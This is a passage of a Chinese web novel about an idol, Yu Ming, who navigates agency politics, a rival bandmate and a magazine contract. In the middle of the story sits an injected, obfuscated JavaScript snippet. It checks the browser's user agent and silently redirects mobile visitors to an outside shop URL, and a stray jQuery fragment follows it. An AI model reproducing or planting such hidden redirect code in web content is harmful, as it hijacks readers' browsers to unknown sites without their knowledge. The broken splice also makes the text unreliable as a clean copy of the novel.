CASIMO雷厉风行,隔天就送合同来谈签约。
郁鸣一早被骆文其叫到公司,洽谈至半小时前,合同白纸黑字盖了章,一切才是真的落了定。
送走CASIMO的工作人员,骆文其悬着的心落了下来。他视线扫过郁鸣淡然的脸:“还有些后续事情要交代,去我办公室。”
“嗯。”
回到办公室,骆文其示意郁鸣坐下,拿了两瓶水。他拧开一瓶,喝了两口:“目前合同虽然签了,但相关事宜筹备期不短,CASIMO有保密合同未公开不提前宣传,现在……”
郁鸣静静地听着,杂志拍摄是个大工程,从选题,风格前期需要筹备与沟通,整个过程冗长,到正式落地需要很漫长的时间。
骆文其交代完合作相关事宜,语气陡然转变:“阿鸣,虽然CASIMO愿意跟你签合同,但这并不代表你能够复出。”
他半坐办公桌上,瞥着郁鸣,再次叮嘱:“你现在情况很复杂,就算公司想,也要等时间和时机。现在并不是最合适的时机,你要减少露面,没什么事情的话尽量少来公司,需要什么东西让林枫去买。”
“听话,再耐心等等。”
骆文其其心昭昭,既要又要,好不容易看着他跌下来,怎么可能无法掌控的时候放他展翅。CASIMO杂志能签下来是意外之喜,骆文其为的是自己,而不是他的前途。
骆文其有的是办法让他无法复出,但只要CASIMO的合同还在身上,这人为了自己的利益,也不会真的雪藏他。
这段空白期,足够了。
郁鸣敛着眼底的淡漠,轻轻点头:“骆哥还有要交代的吗?”
骆文其摆手:“一会没什么事情让林枫先送你回去,别在公司久待。”
从经纪人办公室离开,郁鸣在公司慢悠悠地逛,掐着十点钟去了一楼。这个时间正是一楼人多的时候,很多训练生都刚从外面晨跑回来。
郁鸣毫无遮掩地出现,吸引了大半目光,沉默过后响起窃窃私语。
“哎哎……你们看,那是不是郁鸣啊?”
“是他,他不是出事了吗,怎么还来公司?”
“别胡说八道了,那些鸡毛小事公司迟早都能解决啊,怎么可能真让摇钱树倒……”
“来公司这么久第一次见到他,真的好好看啊!”
他不甚在意,噙着淡笑算打招呼,掠过训练生们,淡定从容地走到前台:“帮我登记个东西……”
前台连忙帮忙登记。
郁鸣随口扯了句,视线停在公司入口处。前台处理好的声音传来,他收回目光,回了个礼貌地微笑:“谢谢。”
旁边认出的训练生,大胆走过来打招呼:“阿鸣哥,早。”
郁鸣温声回应:“早。”
“阿鸣哥,我是听了你的歌才想入演艺圈的,你能不能给我签个名啊?”训练生有些不好意思。
“都是同门师兄弟,不用这么客气。”郁鸣找前台要了一张纸,随手签了个名递给他。
训练生激动坏了,双手接过纸:“阿鸣哥,舆论新闻说得我都不信,我相信另有真相!”
其他人见状,也跃跃欲试,争先恐后地跑过来打招呼,不一会就把郁鸣围住,俨然成了个小型签名会。
正热情高昂之际,大门处发出动响,众人一齐扭头。
张佳霖戴着墨镜姗姗来迟,一进门,半个人都没来打招呼,扭身看清了盛况。
郁鸣被一群训练生团团围住,一副众星捧月的模样。
张佳霖敛下情绪,大脑飞速转动,冒出无数个可能性。他摘下墨镜径直走向郁鸣,其他训练生见状,个个都是明眼人,一哄而散,把场地留给了两人。
张佳霖看着散去的人,视线在郁鸣脸上停留两秒,牵起笑脸,亲热开口:“阿鸣,来了怎么不告诉我,我好早点过来陪你。”
郁鸣攥着还没写完的签名,抬起头。
张佳霖一向不守时,迟到一两个小时都算是常态,平均上班点都是这个时间,起不来是一个原因,喜欢被新人捧着奉承是一个原因。
他把纸笔放回前台,莞尔一笑,开着半真半假的玩笑:“等你啊。”
张佳霖捏着墨镜的手顿了顿,拿不准郁鸣什么意思。他笑呵呵地挽起郁鸣的胳膊,边往电梯走边说:“那我晚点给你赔罪,请你吃饭怎么样?”
“好。”郁鸣没挣开这份亲昵举动。
两人走到电梯,正好刚到一楼,里面有几个男生,是刚才一楼大厅有两个训练组合的。
张佳霖伸出手,想摆手让他们先上去。
郁鸣淡淡开口:“不介意我们挤一挤吧?”
男生们眼睛扫过两个人,连忙让出中间的位置:“不不不,阿鸣哥,佳霖哥快上来。”
张佳霖伸到半道的手停滞,抽了抽嘴角,跟郁鸣一起站进了电梯了。
大家都不开口,电梯里静得只剩下呼吸声。几位训练生一齐低着头,心里同步打鼓,总觉得这份寂静里掺杂了暗潮汹涌。
张佳霖心思沉沉,呼吸不自觉加重。
“佳霖,是太闷了吗?”郁鸣保持着站立的姿势,对着电梯门,轻声开口。
张佳霖感受到有几道视线投来,笑嘻嘻地说:“不是啦,你知道我的,我喜欢热闹一点,突然没人说话,怪不安的。”
“他们都是新人,不熟悉,不敢乱说话也正常。”郁鸣偏头,“不用顾虑我们,随意交流就好。”
张佳霖唇角一僵,气氛没活跃起来,反倒送了个话柄。他胸口憋了一口气,越发憋屈。
几个训练生面面相觑,面露难色,说也不是,不说好像也不是。他们沉默半秒,小声说起日常琐事。
谈着谈着,聊得投入了,又说到了公司上的事情,说最近发生的大事件。
“今早CASIMO杂志还来——”其中一个男生刚起了头,意识到当事人似乎还在电梯里,立马噤声。
郁鸣察觉到目光,随和地开口:“不用顾及我们,你们聊你们的。”
男生讪笑着挠了挠头,旁边的人杵了一下他,示意闭嘴。他连忙收回话茬,突然闭嘴又不太好,尴尬地说:“阿鸣哥,我只是想说你很厉害,想恭喜你签下CASIMO杂志了!”
此话一出,电梯陷入了诡异的安静。
郁鸣不动声色,将视线落在电梯铁门抽象的倒影上,凝视着扭曲到模糊张佳霖的五官。
张佳霖从听见CASIMO开始表情就阴沉沉的,听到签下合同更是嘴角掩盖不住地下垂。
这份沉默没坚持太久,电梯抵达六楼,几个男生半刻不敢逗留,匆匆告了别离开电梯。
电梯门重新关上,仅剩下两人。
郁鸣率先打破寂静,挂着那抹淡然的笑:“刚才匆忙,还没来记得告诉你这个好消息,你不介意吧?”
张佳霖缓缓回神,演技精湛:“怎么会,你签了CASIMO,我高兴还来不及呢!”
郁鸣说:“正好,晚上不是要请我吃饭吗?就当庆祝了吧,弥补上一次。”
张佳霖内心惊涛骇浪,多看郁鸣一眼都难以控制情绪,他深吸一口气,说:“今晚可能不太行了,忽然想起来,晚上还有点事情,下次吧。”
“不急。”
叮咚——
电梯抵达。
郁鸣往前迈了一步,微微侧头:“我说过,我们之间来日方长,不缺时间。”
张佳霖盯着他,没向前走。
“佳霖,到了,你不下来吗?”
“刚才光顾着跟你聊天,差点忘了,我今天找骆哥还有点事情。”张佳霖说着摁了下电梯,“一会再去训练。”
“好吧,那你先忙。”
电梯门重新关闭,出现下行标志。
郁鸣收回视线,沿着走廊朝前,这一层是有三个分区,其中A区是VERTEX专用的所有练习室,分为演奏室、体能训练室、器材锻炼室等相关练习室。
他沿着走廊拐到A区,很安静,挨个看了几个都没找到人,不紧不慢走到顶头的演奏室,推开门,被隔绝的音乐声滚入耳中,震感十足,令人动容。
VERTEX乐队出身,出道之前一直作为乐队四处巡演与练习,与街头的区别只是多了些live表演,积累一定人气之后,公司才开始包装转型,为了舞台效果,减少组合成员以乐队的身份登台,将重点放在了徒有表象上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081340|149383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
久而久之,乐队的演奏练习,大幅度降低,多数时候大家都在训练体能和唱功,这间演奏室,逐渐荒废下来,只有编新专辑作曲和必须亲自弹奏的演出,才会过多使用,除此之外,坚持每日使用的……
郁鸣扫过那个身材高挑的身影,有一瞬出神。
面前这个稳重的男人是VERTEX的成员之一,秦圳。虽相识几载,一路扶持着从街头走到娱乐圈,可他和秦圳并不算熟络,这人话很少,沉默内敛,人如名气,在组合里人气最低,还被戏说是透明人。
然而世道沉浮,人心浮躁,兜兜转转,还愿意沉下心做音乐的,他们四人之中,仅剩秦圳这个永远默默无闻,吃力不讨好的“透明人”了。
细亿前世一遭,也只有秦圳这个不够亲密的人,算为他说过一句话。
郁鸣从旧时记忆抽神,不太熟练地打了个招呼:“阿圳,怎么就你自己?”
听见问候,秦圳拨动贝斯的手一顿,隔着不近不远的距离看了他一眼,动作未停,气息四平八稳:“都没来。”
郁鸣若有所思地点了点头,环视一圈,演奏室为了隔音效果,比较封闭,显得光线有些低沉,不过整个空间很开阔,还有可以休息的地方,大多数用来探讨词曲和合拍。
他踱步走到休息区的沙发坐下,看着熟悉的训练室,脑子里跑马灯。
空气寂静片刻,秦圳做完最后一组练习,把贝斯放好,从旁边拿起一瓶水。他咕咚咕咚几口下肚,用手背擦过唇角,迟滞几秒才开口:“你没事了?”
“嗯?”郁鸣正在出神,恍惚地偏了偏头。
秦圳沉默许久,仿佛在打关心人的腹稿,半天憋出一句结束词:“没事就行。”
郁鸣哑口。
秦圳斟酌一番,又问:“如果有机会,你还会回来吗?”
郁鸣抬起眼,从休息区尽头的一扇镜子中,看见缩小的自己,语调淡然:“还有那么多人关心我呢,会回来,一定会的。”
“我答应过佳霖,要跟他在娱乐圈一起共甘苦,享荣辱。”他倒进沙发里,单手撑着额头,望着镜子里缩小的身影,一字一顿,“决不食言。”
秦圳表情添了几分复杂,低下头说:“你要等他们来吗?他们俩最近很忙,很少来训练室,你可能白跑一趟。”
“佳霖的话刚才见到了,另一个么——”
郁鸣十指无意识交叉摩擦,低垂眉眼,漫不经心地开口:“不着急,总会见到的。”
“那倒是。”秦圳说,“你出事之后,大家很记挂你。”
郁鸣挂上淡淡的笑,没接话。
秦圳停顿,转了个话题:“对了,忘记恭喜你签下CASIMO了。”
郁鸣并不意外,娱乐圈和经纪公司这种地方,没有不透风的墙,平时没影的事情都能传得有模有样,更别提这种劲爆的事实。
不过像这种消息的流通,往往是刻意为之,目的无外乎就那么几种,造势、警醒、针对。
无论哪一种,都一定有猎人与兔子。
郁鸣没有接下这句话,反而歪过头:“你要继续训练了吗?”
“嗯。”
郁鸣撑起身体:“那我就不打扰你了,身体还没恢复好,我先走了。”
秦圳点了点头,没多说什么,重新投入训练。
郁鸣没着急离开,踱步在公司慢悠悠转。新艺传媒大楼十几层,每一层分区都不同,艺人集中在三层到八层中间,其他层则都是后勤,前端等相关工作人员的办公区。
艺人平时常聚集的地方是三层,这里是娱乐与休闲区,与二楼食堂离得很近,人流量大,人多口杂,想要探听消息和散播消息,这里绝对是个极佳的地方。
相反,八层在这个时间节点则是最清静的地方。
郁鸣乘坐电梯抵达八楼,熟练地拐进了左边,直直走向卫生间。
他拉开最后一个门,进去反锁一气呵成,倚墙站了几秒,听到细微声响消失,才举起黑屏的手机,转了个声调,压低声音徐徐而谈。
他语调囫囵,仓促说了几句,匆匆冲水离开卫生间。
卫生间最后一扇门刚“砰的”砸上,隔了一分钟,旁边也传出冲水声。